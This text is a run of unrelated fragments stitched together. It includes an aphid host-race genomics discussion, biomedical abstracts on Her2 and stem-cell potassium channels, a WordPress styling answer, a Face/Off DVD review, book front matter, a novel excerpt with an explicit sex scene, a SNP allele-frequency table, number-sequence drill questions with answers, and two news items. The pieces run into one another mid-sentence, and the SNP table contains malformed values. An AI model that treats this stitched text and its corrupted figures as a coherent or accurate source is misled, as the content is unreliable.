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] | , from more races and localities. In both data sets analysed here, we again show that Gr and Or genes form the majority of chemosensory outlier loci. We specifically re‐identify ten of the outlier genes found in Smadja *et al*. ([2012](#mec13818-bib-0072){ref-type="ref"}) in the capture sequencing data set (Table [1](#mec13818-tbl-0001){ref-type="table"}; Table S5, Supporting information), and three genes (Gr15, Or21 and Or36) were identified in the Smadja *et al*. ([2012](#mec13818-bib-0072){ref-type="ref"}) analysis and in both the capture sequencing and GoldenGate SNP genotyping data sets. The correlation between the two analyses undertaken in this study was also strong; all chemosensory outlier SNPs identified in the GoldenGate SNP genotyping analysis (incorporating multiple populations per race), that were present in the capture sequencing data set, were also identified as outliers there.
By repeating outlier analyses on eight races, we confirm that differences in chemosensory genes are important to the divergence of the broader spectrum of pea aphid races, and incorporating more localities in our GoldenGate SNP genotyping data set allowed us to confirm a direct link between plant choice and chemosensory differences, distinct from other environmental variables that might be correlated with differences between single populations. [amova]{.smallcaps} showed large contributions of race and small contributions of locality to genetic variation, a pattern that was more pronounced in chemosensory than in control genes, supporting the relationship between chemosensory gene divergence and race in the face of gene flow. The congruence we observed between multiple independent samples of aphids provides support for the individual outlier genes identified, the general importance of chemosensory genes in between‐race differences and more specifically the potential role of Grs and Ors. Although the repeated identification of specific outlier loci could relate to underlying genomic architecture at these sites (Jensen *et al*. [2016](#mec13818-bib-0040){ref-type="ref"}) (which one would expect to be the same between aphids in different data sets), comparisons of gene categories are particularly informative indications of the validity of our results as there is little reason to expect that all chemosensory receptor genes will share an unusual feature such as a distinct mutation rate or low diversity, given that they are widely distributed in the genome.
ORs and GRs in insects tend to be activated in combinations to signal the presence of specific compounds (Hallem *et al*. [2006](#mec13818-bib-0035){ref-type="ref"}). As previously suggested (Smadja *et al*. [2012](#mec13818-bib-0072){ref-type="ref"}), mutations in these genes could potentially lead to changes in sensitivity or specificity of nerve activation, and combinations of mutations in different receptor genes might be required for a complex modification of response to multiple compounds differing between host plants. As ORs and GRs belong to large, fast evolving gene families, and are the main peripheral discriminators, they are the best a priori targets for involvement in host shifts. This assumption is supported by a number of studies highlighting the involvement of chemoreceptors in differences between host‐associated races (McBride [2007](#mec13818-bib-0049){ref-type="ref"}; Smadja *et al*. [2012](#mec13818-bib-0072){ref-type="ref"}; McBride *et al*. [2014](#mec13818-bib-0050){ref-type="ref"}; Duvaux *et al*. [2015](#mec13818-bib-0018){ref-type="ref"}). In contrast, OBPs and CSPs are smaller more conserved families, more involved in presenting ligands to receptors. Although they have been implicated in some host shift cases (Matsuo *et al*. [2007](#mec13818-bib-0048){ref-type="ref"}; Dworkin & Jones [2009](#mec13818-bib-0019){ref-type="ref"}), we find little evidence of their importance in pea aphid host race formation. Duvaux *et al*. ([2015](#mec13818-bib-0018){ref-type="ref"}) and McBride ([2007](#mec13818-bib-0049){ref-type="ref"}) both relate gain and loss of chemoreceptors to between‐race differences. Our finding of physical clusters of outlier genes (likely to result from recent tandem duplications; Smadja *et al*. [2009](#mec13818-bib-0071){ref-type="ref"}) may suggest that divergence after duplication is critical for the evolution of new response patterns (Fig. [2](#mec13818-fig-0002){ref-type="fig"}).
The genetic architecture of divergence between races {#mec13818-sec-0019}
----------------------------------------------------
Incorporating more races into our analysis has allowed us to identify a large number of new chemosensory genes as potential targets of selection. It is clear that the same set of genes is not necessarily involved in each adaptive host shift in the pea aphid; different chemosensory genes were outliers on different axes of variation although some axes separate multiple races. Identifying outlier genes in the more distinct aphid races, such as those very divergent in *O. spinosa* and *C. scoparius‐*associated races, will be useful for follow‐up work, as we cannot necessarily expect to examine divergence at the same chemosensory outliers in all race comparisons. The identification of multiple targets of selection relating to the same adaptive shifts suggests an polygenic basis of local adaptation in the pea aphid, fitting with the findings of Hawthorne & Via ([2001](#mec13818-bib-0036){ref-type="ref"}), Caillaud & Via ([2012](#mec13818-bib-0011){ref-type="ref"}) and Jaquiéry *et al*. ([2012](#mec13818-bib-0039){ref-type="ref"}) who all identified multiple QTLs relating to aphid plant choice. The overlap in some cases between chemosensory genes identified on different axes of variation (see Table S5, Supporting information and Fig. [2](#mec13818-fig-0002){ref-type="fig"}) also shows how the same chemosensory genes can be involved in different adaptive host shifts, consistent with a combinatorial model of chemoreceptor activation (Hallem & Carlson [2004](#mec13818-bib-0034){ref-type="ref"}; Carey & Carlson [2011](#mec13818-bib-0012){ref-type="ref"}), and with the possibility that combinations or varying concentrations of plant compounds may act to trigger host acceptance or rejection.
Smadja *et al*. ([2012](#mec13818-bib-0072){ref-type="ref"}) found that outlier genes could be divided into those with mainly nonsynonymous substitutions and those with mainly synonymous site substitutions, and took this to imply a role for regulatory changes in the loci with mainly synonymous outliers, the high divergence at synonymous sites reflecting divergent selection in closely linked regulatory regions. Consistent with this, we detected a large number of putative promoter regions as outliers. Often an outlier putative promoter was present upstream of a gene that was also identified as an outlier (e.g. Gr4, Gr8 and Or18 in PC3 and Gr45 and Gr8 in PC4 of capture sequencing data). This could be the result of hitchhiking in regions surrounding targets of selection, or it could relate to evolution of gene expression in some receptors. Although chemosensory genes as a class do not show more differential expression between races than other genes, some chemosensory genes are significantly differentially expressed between pea aphid races (Eyres *et al*. [2016](#mec13818-bib-0022){ref-type="ref"}); however, there is almost no overlap between these differentially expressed genes and the putative promoters identified here (ApisSNMP8 being the only exception).
The number of loci with extremely high loadings, equivalent to fixed differences, between *La. pratensis‐*associated aphids and the others was notably high, suggesting the possibility of the accumulation of extensive neutral divergence between the *La. pratensis*‐associated race and the other races. In accordance with this, outlier SNPs relating to *La. pratensis* contained a considerable number of control SNPs. Peccoud *et al*. ([2009](#mec13818-bib-0059){ref-type="ref"}) suggested that the highly genetically differentiated *La. pratensis‐*associated race was nearing complete speciation, as no hybrid was detected with sympatric races, and our results are consistent with the minimal gene flow estimated between this more divergent race (Peccoud *et al*. [2009](#mec13818-bib-0059){ref-type="ref"}), in comparison with the higher gene flow between more genetically‐similar races, where loci experiencing barriers to gene flow will stand out more clearly against a background of low differentiation (Nosil *et al*. [2009](#mec13818-bib-0054){ref-type="ref"}; Butlin [2010](#mec13818-bib-0009){ref-type="ref"}). This pattern of increased neutral divergence in the race with the lowest ongoing gene flow supports the pea aphid host race system as a promising one for examining the |
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] | epirubicin and/or cyclophosphamid/epi-docetaxel. The Her2 protein and gene were assessed both on core needle biopsies prior to and on surgical specimens after completing chemotherapy using immunohistochemistry (IHC) and fluorescence in situ hybridization (FISH) methods. Estrogen and progesterone receptors (ER/PR) were also determined on both samples using IHC. Her2 status was modified in eight patients using IHC (35%) and in three patients using FISH (13%). Changes in ER/PR expression were detected in seven patients (30%). Our data suggest that alterations of the Her2 gene can occur, although not usually after primary or neoadjuvant chemotherapy. However, changes in ER/PR status seem to be a more common event; thus, both can lead to different therapeutic options. Intratumoral heterogeneity as well as sampling variations can contribute to modification of the Her2 status after primary chemotherapy.Cell cycle-dependent expression of potassium channels and cell proliferation in rat mesenchymal stem cells from bone marrow.
Recently, our team has demonstrated that voltage-gated delayed rectifier K(+) current (IK(DR)) and Ca(2+)-activated K(+) current (I(KCa)) are present in rat bone marrow-derived mesenchymal stem cells; however, little is known of their physiological roles. The present study was designed to investigate whether functional expression of IK(DR) and I(KCa) would change with cell cycle progression, and whether they could regulate proliferation in undifferentiated rat mesenchymal stem cells (MSCs). Membrane potentials and ionic currents were recorded using whole-cell patch clamp technique, cell cycling was analysed by flow cytometry, cell proliferation was assayed with DNA incorporation method and the related genes were down-regulated by RNA interference (RNAi) and examined using RT-PCR. It was found that membrane potential hyperpolarized, and cell size increased during the cell cycle. In addition, IK(DR) decreased, while I(KCa) increased during progress from G(1) to S phase. RT-PCR revealed that the mRNA levels of Kv1.2 and Kv2.1 (likely responsible for IK(DR)) reduced, whereas the mRNA level of KCa3.1 (responsible for intermediate-conductance I(KCa)) increased with the cell cycle progression. Down-regulation of Kv1.2, Kv2.1 or KCa3.1 with the specific RNAi, targeted to corresponding gene inhibited proliferation of rat MSCs. These results demonstrate that membrane potential, IK(DR) and I(KCa) channels change with cell cycle progression and corresponding alteration of gene expression. IK(DR) and intermediate-conductance I(KCa) play an important role in maintaining membrane potential and they participate in modulation of proliferation in rat MSCs.Q:
Unable to locate stylesheet classes in PHP wordpress website
I am trying to modify a WordPress website. I need to make some changes in the style. But when I logged into the WordPress dashboard, I was unable to find the style classes whose properties needs to be changed. I found those classes when I did "Inspect Element" from a web browser.
Luckily I found out a style.css file & custom.css file in the WordPress dashboard. This is the class I am looking for caroufredsel_wrapper. this class is assigned to a div element.
I searched for it in styles.css file, but it didn't contain it. custom.css file was empty. I wrote the needed changes to the class in that file, but nothing changed.
I am new to Wordpress. Can anyone give me some quick tips to resolve the style issues or how can I change them?
A:
@amit was on the right track: the classes are being added inline, which means it's probably being added via JS. The likely culprit is jquery.carouFredSel.min.js. While you could override the JS yourself, or write your own script to add styles this would probably give you headaches later on if you update your theme. Doing some digging I find that jquery.carouFredSel.min.js is being loaded by the carouFredSel WordPress Plugin; a quick glance at the plugin support page shows that there are user settings and probably some kind of control panel in the dashboard that you can use. I'd recommend playing with that first before you commit to overriding actual JS files.
John Woo gets new “Face/Off” release
When scriptwriters Mike Werb and Michael Colleary wrote the script for “Face/Off,” the idea was that it would be set in a distant future where the technology needed to swap faces would be an everyday occurrence. It was still an action picture, and their hope was that the famed Chinese action director John Woo would direct.
However, even though he liked the script, Woo turned down the project because he didn’t understand science fiction. So a few years later, after the script moved from Warner Bros. to Paramount, the suggestion that they could not only save $15 million in production costs but also get Woo to helm it was to move it to present day.
This is information that you find out in the new extras for “Face/Off,” which gets the two-disc treatment for its tenth anniversary re-release on DVD. Actually, the information is very well presented and worth watching for Woo fans.
The story: FBI agent Sean Archer (John Travolta) has a personal vendetta mission against terrorist-for-hire Castor Troy (Nicolas Cage); Troy killed Archer’s son in an assassination attempt. After a big shootout, Troy is captured and in a coma. However, there’s a biological bomb about to go off in Los Angeles, and only Castor and his brother Pollux (Alessandro Nivola) know where the bomb is located.
Archer’s superiors convince him to take a great risk; a new technique that allows surgical transplantation of faces will enable him to assume the identity of his hated obsession. He can then interrogate Pollux in the maximum-security prison he’s incarcerated in, and discover the location of the bomb.
After the surgery, Archer/Troy goes to get the information out of Pollux, but then finds that Troy has now assumed his identity (and face). Now Archer/Troy is in prison, and Troy/Archer is taking on his life, including his wife Eve (Joan Allen). Now he has to bust out of the super-max and confront his greatest enemy as himself.
The dichotomy for both actors is explored in the hour-long documentary “The Light and the Dark: Making Face/Off.” Travolta and Cage talk about how they had to mimic each other; Travolta picked up on Cage’s swaggering walk, and Cage copied Travolta’s hand brushing over the back of his head. I always wondered how they kept each other’s roles straight, but it seems to have worked.
There’s a lot of focus on the minimalist style of Woo. Now, ‘minimalist’ is not a word you would normally associate with Woo’s films, which are heavy on action and things getting blown up real good. Woo says in the documentary that he likes to get things in one shot; no more than three.
The way that his films seem so expansive is explained by having lots of cameras shooting at the same time. His crew worried about the cameras moving into frame, but that doesn’t worry Woo because he knows how he’ll edit them out in the final cut.
Woo fans will also appreciate the 30-minute documentary “John Woo: A Life in Pictures,” which lets Woo tell the story of how he went from living in the streets and slums of Hong Kong to one of the action genre’s most sought-after directors. He explains why so many of his action shots seem like choreography; he was highly influenced by American musicals playing in the Hong Kong theaters, where he escaped the violence of the streets.
Other extras include two commentaries, seven deleted scenes, and an alternate ending.
I’ve not personally seen too many of Woo’s films; “Mission: Impossible 2″ and “Broken Arrow” are the only others. I don’t have an antipathy to violent films; but his films are hard to take more than once. “Broken Arrow” seemed meandering; “MI:2″ was too derivative. I enjoyed “Face/Off” the most, but it’s so spooky that it’s been ten years since I saw it. And I still remembered most of it, and found it just as spooky.
All that being said; this is a good pickup for fans of the film and director. And I may not watch it again for another ten years, but I’ll keep it.
THOSE LAKE PEOPLE
# THOSE LAKE PEOPLE
STORIES OF COWICHAN LAKE
LYNNE BOWEN
Copyright © 1995 by Lynn Bowen
95 96 97 98 99 5 4 3 2 1
All rights reserved. No part of this book may be reproduced, stored in a retrieval system or transmitted in any form or by any means, without the prior written permission of the publisher or, in the case of photocopying or other reprographic copying, a licence from CANCOPY (Canadian Reprography Collective), Toronto, Ontario.
Douglas &. Mclntyre
1615 Venables Street
Vancouver, British Columbia
V5L 2H1
Canadian Cataloguing in Publication Data
Bowen, Lynne, 1940—
Those lake people |
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] | ?"
"By letter. There's a passenger service to Syracuse . . ."
"If it runs."
Both ferries would run, Raf already knew that, because one of the first things he'd done was send Hakim to Maritime Station to find out which of the regular boats had been caught in the blast and which, if any, had been lucky enough to be at sea.
They were currently two Soviet liners without electricity, a worthless aircraft carrier, and half a dozen expensive yachts that now needed a partial refit. The people who owned those could afford the damage. It was worse for the fishing boats. Almost all of those had lost their navigation systems and sonar. They also had engines that now wouldn't start.
"Oh," said Raf, "if you do write, be sure to tell Berlin that I'm closing the city. A total curfew is being imposed. Other than mine, all cars are banned, assuming any still work. No one comes in or leaves without my written permission . . . My handwritten permission," he added grimly. "Except for those travelling under a diplomatic passport or a _carte blanche,_ obviously enough. And the accredited press. They can come in. They can even bring cameras. Leaving, of course, is another matter."
"How long . . . ?"
"Until we catch the bombers." Raf rose from his chair, waited until the Graf realized his meeting was over, then walked the young German to the chamber door.
"I have a city in meltdown," he told the boy, "a natural gas plant that can't pump natural gas, a petroleum refinery that isn't refining crude, no electricity, no telephones. The few computers that still work are dying by the minute. Most cars don't run, garages can't dispense gas . . . You know what that means? No working hospitals, no schools. Think about it."
Raf ushered the Graf through the hall and out into the rain. Good-byes said, he went back into the darkened chamber and listened.
"You can come out now," he said.
Very slowly, Zara appeared. "You knew I was here." It was half question, half statement.
"I heard you."
"Across that distance?" She stared in disbelief from where she stood to where Raf and von Bismarck had been sitting.
"I can hear the heartbeat of a bat," he told her simply, "and see a hunting cat across Zaghloul Square at the dead of night. Everything that has ever happened to me I remember. Everything . . ."
_I can't die,_ he added in his head. _I can only be killed_. But he kept those words where they belonged because her smile was already gone, shocked out of being by his honesty, her shock coloured round the edges with unease, even fright.
"You mean it, don't you?" said Zara.
Did he? Raf nodded. "Yes," he said. "I'm afraid I do." He didn't mention that he could smell expensive scent oxidizing on the inside of her wrist, an overlay of white willow extract from her shampoo and something underneath all that, much more animal.
"You remember everything?" Zara asked in disbelief.
"Exactly as it happened." Raf stopped opposite the girl and caught the point at which her eyes widened and she remembered that night they'd spent on her father's boat. Her mouth had tasted of olives and her breasts had rested heavy in his hands, salt with the memory of a wine-dark sea and blood from where she'd bitten his lip.
There had been more, but not much, not as much as he wanted. Now things between them were broken and the memory was what he had left.
"I'd better get off to bed," said Raf.
"What about me?"
"Choose a room, use it. Call it protective custody," Raf suggested. "Find Khartoum," he added when Zara looked blank. "Tell him to find you something or else share Hani's room. She'd like that . . ." Raf paused, took a deep breath. "Alternatively, there's always mine . . ."
"What about seeing the French ambassador?" Zara asked. Which wasn't exactly what Raf expected her to say.
"What about him?"
"Isn't he waiting . . . ?"
"Undoubtedly." Raf shrugged. "I don't want to see the man," he said. "And besides, St. Cloud hired a man to have me killed."
Raf smiled at her surprise.
"The night I first arrived," he said. "Someone tried to knife me . . . I told Felix. It was one of the things he was investigating when he died . . ."
"What happened to the someone?"
"He attacked me, so I killed him."
"And that's the scar?" Zara said when Raf had finished hanging his jacket in an old rosewood cupboard. In her hand was a wineglass, still half-full of white Rioja. It was Raf's glass. Her own was long since empty.
She pointed to a seam visible along his wrist.
"No," said Raf, pulling off his shirt. "This is the scar." He traced a line across his ribs with one finger and felt the faintest echo of hardened tissue. "It was only a flesh wound, nothing more . . .
"What?" he asked when Zara smiled, a little sadly.
The room was lit by a single candle that sat, fat and pale in a dish turned from a single section of monkey puzzle, the ancient wood so thin that the candle's dancing flame made it translucent. The monkey-puzzle dish sat on an oak table beside a metal bed so old that its horsehair mattress rested on wire mesh. Since the room Raf had chosen was originally meant for the General's personal use, the choice of bed undoubtedly held some special significance.
Raf had selected the room because Hani had one next door. A small dark space that might once have been a dressing room to this, though the entrance between rooms had been bricked up long enough for the Persian wallpaper that covered it to have faded to faint horsemen who hunted in shadow.
"Blow out the candle."
"I can see in the dark," Raf warned Zara.
"Maybe," she said, "but I can't." And so Raf blew out the single candle and the room's cool air flooded with acrid smoke.
"How?" Zara demanded suddenly. "How do you see in the dark?"
"My eyes adjust . . ." Raf thought about it. "No," he said, "I adjust my eyes. There's a difference."
"Then don't."
Raf looked at her.
"Stay blind."
"If that's what you want." The last thing Raf saw before he tuned the room into darkness was Zara unbuttoning the front of her short dress. She wore no bra and her body was as perfect as his memory of it.
He met her clumsily in space that waited between them, neither one quite certain of where the other stood in the darkness. Zara felt his hands reach up to grip her naked shoulders and he felt her fingers brush against his face. And this time their kiss was slower, much less frenzied than that time when they were drunk and tired and on her father's boat.
Zara's breath tasted of wine and her throat of salt. He got colours and memories with each kiss, though they might have been imagined. Putting both hands around her, Raf followed her spine with his fingers, pausing only when he reached the silk of her thong.
He smiled.
"No." The command was simple, far simpler than the mix of emotions encoded in her suddenly breaking voice. Sheer nervousness Raf could have understood. His own body was almost vibrating with tension. And fear of what might come next was possible. As was worry that she'd let things get this far . . .
But this was anger.
Raf just wasn't sure it was directed at him.
He stepped back just enough to put a slight distance between them. "You okay?"
Zara leant her head against his neck and nodded, feeling his answering smile. There was a neat scar under his jaw, the one half the city assumed was _RenSchmiss_. And another on his shoulder, so ugly that no one in their right mind could have assumed it resulted from a formal duel.
"Seattle . . . ?" Zara asked, running her fingers across ridged skin. Something else he didn't talk about, the bombing of the Consulate in Seattle.
"A fox cub," said Raf lightly, "when I was a child." He touched her face and let his hands rest there before dropping them to cup breasts that were full and high, with nipples that hardened beneath his touch. They both shivered, but he did so first.
"You like?" Zara's voice was low, almost mocking.
In answer, Raf shifted one hand to the back of her head, feeling her lips silence and her mouth open wider.
"Of course I like." His right hand found a pressure point between her third and fourth vertebrae and he pushed, so that her chin came up and her neck exposed itself. Her pulse beneath his lips was as loud as a bass loop.
Somewhere |
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] | /A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ 6 × 10^−5\ c^ 0.16 ^c^ N/A ^c^ 2 × 10^−8\ c^ 1 × 10^−4\ c^
rs59421388 0.0 ^a^ 0.04 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.09 ^a^ 0.0 ^a^ 0.0 ^a^ 0.11 ^a^ 0.08 ^a^
10.6 ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ 28.6 ^b^ 23.5 ^b^
1 × 10^−2\ c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ 9 × 10^−8\ c^ 1 × 10^−6\ c^
rs28371725 0.15 ^a^ 0.02 ^a^ 0.12 ^a^ 0.03 ^a^ 0.08 ^a^ 0.07 ^a^ 0.15 ^a^ 0.01 ^a^ 0.03 ^a^ 0.02 ^a^ 0.14 ^a^ 0.01 ^a^ 0.05 ^a^
14.9 ^b^ 0.62 ^b^ 16.6 ^b^ 4.5 ^b^ 5.8 ^b^ 1 × 10^−3\ b^ 30.1 ^b^ 17.4 ^b^ 15.8 ^b^ 0.004 ^b^ 28.7 ^b^ 11.7 ^b^
1 × 10^−4\ c^ 0.43 ^c^ 4 × 10^−5\ c^ 0.03 ^c^ 0.02 ^c^ 0.97 ^c^ 4 × 10^−8\ c^ 3 × 10^−5\ c^ 7 × 10^−5\ c^ 0.94 ^c^ 8 × 10^−8\ c^ 6 × 10^−4\ c^
rs61736512 0.0 ^a^ 0.04 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.17 ^a^ 0.0 ^a^ 0.0 ^a^ 0.11 ^a^ 0.09 ^a^
10.6 ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ N/A ^b^ 29.9 ^b^ 25.0 ^b^
1 × 10^−3\ c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ N/A ^c^ 4 × 10- ^c^ 57 × 10^−8\ c^
rs28371706 0.01 ^a^ 0.15 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.19 ^a^ 0.0 ^a^ 0.0 ^a^ 0.25 ^a^ 0.20 ^a^
32.1 ^b^ 1.5 ^b^ 1.6 ^b^ 1.4 ^b^ 1.4 ^b^ 1.6 ^b^ 1.6 ^b^ N/A ^b^ 1.0 ^b^ 1.7 ^b^ N/A ^b^ N/A ^b^
1 × 10^−1\ c^ 0.21 ^c^ 0.20 ^c^ 0.22 ^c^ 0.23 ^c^ 0.20 ^c^ 0.20 ^c^ N/A ^c^ 0.32 ^c^ 0.19 ^c^ N/A ^c^ N/A ^c^
rs5030656 0.0 ^a^ 0.01 ^a^ 0.02 ^a^ 0.0 ^a^ 0.0 ^a^ 0.04 ^a^ 0.0 ^a^ 0.0 ^a^ 0.0 ^a^ 0.01 ^a^ 0.01 ^a^ 0.0 ^a^ 0.0 ^a^
2.1 ^b^ 5.2 ^b^ N/A ^b^ N/A ^b^ 10.0 ^b^ N/A ^b^ N/A ^b^ N/A ^b^ 2.0 ^b^ 8.5 ^b^ N/A ^b^ N/A ^b^
0.14 ^c^ 0.02 ^c^ N/A ^c^ N/A ^c^ 0.001 ^c^ N/A ^c^ N/A ^c^ N/A ^c^ 0.16 ^c^ 3 × 10^−3\ c^ N/A ^c^ N/A ^c^
rs4124874 0.46 ^a^ 0.22 ^a^ 0.57 ^a^ 0.72 ^a^ 0.55 ^a^ 0.62 ^a^ 0.39 ^a^ 0.69 ^a^ 0.11 ^a^ 0.48 ^a^ 0.56 ^a^ 0.09 ^a^ 0.14 ^a^
N/A ^b^ 4.8 ^b^ 33.5 ^b^ 3.2 ^b^ 11.0 ^b^ 2.2 ^b^ 24.0 ^b^ N/A ^b^ 0.2 ^b^ 4.2 ^b^ N/A ^b^ 34.0 ^b^
N/A ^c^ 0.03 ^c^ 1 × 10^−8\ c^ 0.07 ^c^ 1 × 10^−2\ c^ 0.14 ^c^ 99 × 10^−8\ c^ N/A ^c^ 0.67 ^c^ 0.04 ^c^ N/A ^c^ 1 × 10^−8\ c^
rs10929302 0.39 ^a^ 0.33 ^a^ 0.30 ^a^ 0.11 ^a^ 0.15 ^a^ 0.23 ^a^ 0.44 ^a^ 0.18 ^a^ 0.36 ^a^ 0.34 ^a^ 0.24 ^a^ 0.64 ^a^ 0.30 ^a^
1.4 ^b^ 3.4 ^b^ N/A ^b^ 30.4 ^b^ 12.6 ^b^ 0.9 ^b^ 25.2 ^b^ 0.5 ^b^ 0.8 ^b^ 12.5 ^b^ 0.5 ^b^ 3.4 ^b^
0.32 ^c^ 0.07 ^c^ N/A ^c^ 3 × 10^−8\ c^ 4 × 10^−4\ c^ 0.32 ^c^ 52 × 10^−8\ c^ 0.47 ^c^ 0.36 ^c^ 4 × 10^−4\ c^ 0.49 ^c^ 0.06 ^c^
rs4148323 0.03 ^a^ 0.01 ^a^ 0.0 ^a^ 0.23 ^a^ |
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] |
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2376
What is the next term in 1829, 3699, 5569, 7439, 9309?
11179
What comes next: 14441, 14633, 14825?
15017
What comes next: 4067, 4071, 4075, 4079, 4083?
4087
What comes next: -136, -297, -504, -781, -1152, -1641, -2272?
-3069
What comes next: 798, 1551, 2226, 2817, 3318, 3723?
4026
What is next in -43, -112, -307, -688, -1315, -2248, -3547?
-5272
What comes next: -230903, -230907, -230911, -230915, -230919?
-230923
What is the next term in -1002227, -2004459, -3006693, -4008929, -5011167?
-6013407
What is next in -2014, -7986, -17940, -31876, -49794, -71694, -97576?
-127440
What is the next term in 600568, 600570, 600572, 600574, 600576, 600578?
600580
What is the next term in -139336, -139335, -139334, -139333, -139332?
-139331
What is the next term in -2723, -5404, -8085, -10766?
-13447
What is the next term in -1203, -1220, -1237?
-1254
What is next in -156731, -313489, -470261, -627053, -783871, -940721?
-1097609
What comes next: -35302, -70605, -105908?
-141211
What is the next term in -55066, -55046, -55012, -54958, -54878, -54766?
-54616
What is next in -20, -194, -650, -1526, -2960, -5090, -8054, -11990?
-17036
What comes next: 140698, 140703, 140708, 140713, 140718?
140723
What comes next: -273501, -547008, -820513, -1094016, -1367517, -1641016?
-1914513
What is next in 12453, 12448, 12433, 12402, 12349, 12268, 12153, 11998?
11797
What comes next: 7355, 7342, 7327, 7310?
7291
What is the next term in -2183, -4366, -6561, -8774, -11011, -13278, -15581?
-17926
What is next in -555761, -555759, -555757?
-555755
What is next in -13925, -13962, -14029, -14132, -14277?
-14470
What comes next: 1023, 2046, 3069, 4092?
5115
What comes next: -25309, -50619, -75927, -101233, -126537, -151839?
-177139
What is the next term in -75023, -75026, -75039, -75068, -75119?
-75198
What is next in -624, -1662, -2700?
-3738
What comes next: -106, -100, -100, -106, -118?
-136
What comes next: 14076, 28216, 42356, 56496, 70636?
84776
What comes next: -49445, -98880, -148315, -197750, -247185, -296620?
-346055
What is the next term in -26, -203, -740, -1835, -3686, -6491, -10448, -15755?
-22610
What comes next: 595, 779, 963, 1147, 1331?
1515
What is next in -18, -78, -170, -300, -474, -698, -978, -1320?
-1730
What is next in 16, -142, -416, -800, -1288, -1874?
-2552
What comes next: -784, -1513, -2236, -2953, -3664?
-4369
What comes next: -9374, -9393, -9412, -9431, -9450, -9469?
-9488
What is next in 4450, 4474, 4496, 4516, 4534, 4550?
4564
What is the next term in -54, -201, -502, -999, -1734, -2749?
-4086
What comes next: -468968, -1875877, -4220726, -7503515, -11724244, -16882913, -22979522?
-30014071
What is next in -10990, -10971, -10952, -10933, -10914, -10895?
-10876
What is the next term in -810548, -810537, -810520, -810497, -810468, -810433?
-810392
What is next in 322, 270, 134, -128, -558, -1198?
-2090
What is next in -61, 191, 875, 2207, 4403, 7679, 12251?
18335
What comes next: -582, -377, -186, -15, 130, 243, 318, 349?
330
What is next in -991, -930, -773, -472, 21, 754, 1775?
3132
What is next in -49241, -49237, -49233, -49229, -49225, -49221?
-49217
What is the next term in 78, 249, 554, 1047, 1782, 2813?
4194
What comes next: 1529, 3062, 4605, 6164, 7745, 9354, 10997, 12680?
14409
What comes next: 1933, 7767, 17489, 31099?
48597
What comes next: 24911, 24816, 24721, 24626?
24531
|
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] | for it. So Ninja quickly placed her last branch into the final hole and rang her bell.
After much celebration and confusion by all, Ninja was declared the winner — and Laurel was sent home.
“I don’t agree with it,” Laurel said on PeopleTV’s Reality Check Thursday. “I still don’t agree with it to this day. I believe that they should have done a reset and then raced to the top because we both missed the same post.”
Image zoom MTV
However, Laurel does agree with how unusual the chain of events was. “It was strange,” she said. “I have never been in a situation like that before where they end the game with a horn and then they don’t give you the opportunity to fix your mistake. I’ve been doing this show over the course of 10 years now and I’ve played so many games. Anytime you make a mistake in a puzzle or you aren’t correct, they tell you and they don’t blow the horn. … They came over, they checked my pole, and blew the horn. So I celebrated like I won because to me that’s the way it’s always gone. There’s really been nothing different than that.”
Not surprisingly, Laurel questioned producers and others about the final outcome.
“I definitely spoke my mind in the moment,” she recalled. “I was like, ‘Are you guys serious? This can’t be real.’ I guess at that point there was nothing that could be done because Ninja had already continued to play even though the horn had gotten blown. So I think that was the tricky part — and that’s what made it really confusing for everyone — was that she played after the horn was blown.”
RELATED: The Challenge‘s Laurel Stucky ‘Doesn’t Have Anything to Hide’ — Unlike Some of Her Opponents
Today, Laurel, who is in veterinary school, is admittedly ready to come back for another season, and she’s tuning out those, including competitor Paulie Calafiore, calling her loss “karma.”
“I don’t really pay him much mind,” she laughed. “He’s new in this game and wants to make his own waves, and what’s a better way than attacking me?”
As for her teammates, Laurel agrees they’re all on a “downward spiral.”
“There’s a clear divide on the Team U.S.A. right now and that is not going to end well,” she teased.Email
ISLAMABAD, July 1: Years of delay in developing its Phase II Extension project and non-delivery of plots promised by the Defence Housing Authority (DHA) to a citizen and the Capital Development Authority (CDA) from whom it acquired the land for the project has attracted attention of the Federal Investigation Agency (FIA).
Although the CDA ceded most land to DHA, over 868 kanals or 108.5 acres, it was the citizen Abdul Zahoor who ceded 200 kanals who went to the FIA seeking a probe and action to secure him his rights.
Documents seen by Dawn show that alleged irregularities committed in the complicated land deals would extend FIA’s inquiry to Bahria Town (BT), land developer Habib Rafique (Private) Limited (HRL) and Employees Old-Age Benefit Institution (EOBI) also.
DHA Phase II Extension, spread over 55,000 kanals of land in Sihala, Rawat and Humak suburbs of Islamabad, was planned in 2005. The DHA acquired the land from private citizens and the CDA over a period of time but later involved BT, HRL and EOBI for developing the project, which is yet to materialise.
Last week, Abdul Zahoor took his complaint to the FIA, which referred the matter to the officials of the Islamabad zone for necessary action, according to FIA sources.
As for the CDA, it woke up suddenly to its rights after the May 11 general elections. Just five days after the elections threw up a new set of political rulers, it wrote a letter to the DHA inquiring about the 729 developed plots it was promised against 868 kanal prime land it had handed over to the DHA for Phase II Extension.
CDA Member Estate Shaista Sohail conveyed CDA’s concerns to the DHA in the letter.
She wrote: “The CDA Board has taken a serious view of the matter and desires that the DHA provide the requisite maps/layout plans and site demarcation of plots at the earliest. It is a matter of grave concern that while CDA handed over 868 kanals i.e. 108.5 acres of land to the Defence Housing Authority back in 2008-09, the DHA has failed to make good on its part of the agreement vis-à-vis handing over 729 developed plots to the CDA.”
Out of 729 committed plots, DHA handed simply files of only 682 plots. “For the remaining 47 plots, not even files have been handed for five years,” complained the letter, demanding “physical inspection of the plots, maps and layout plans and also coordinate for physical verification/inspection of the allotted plots at earliest.”
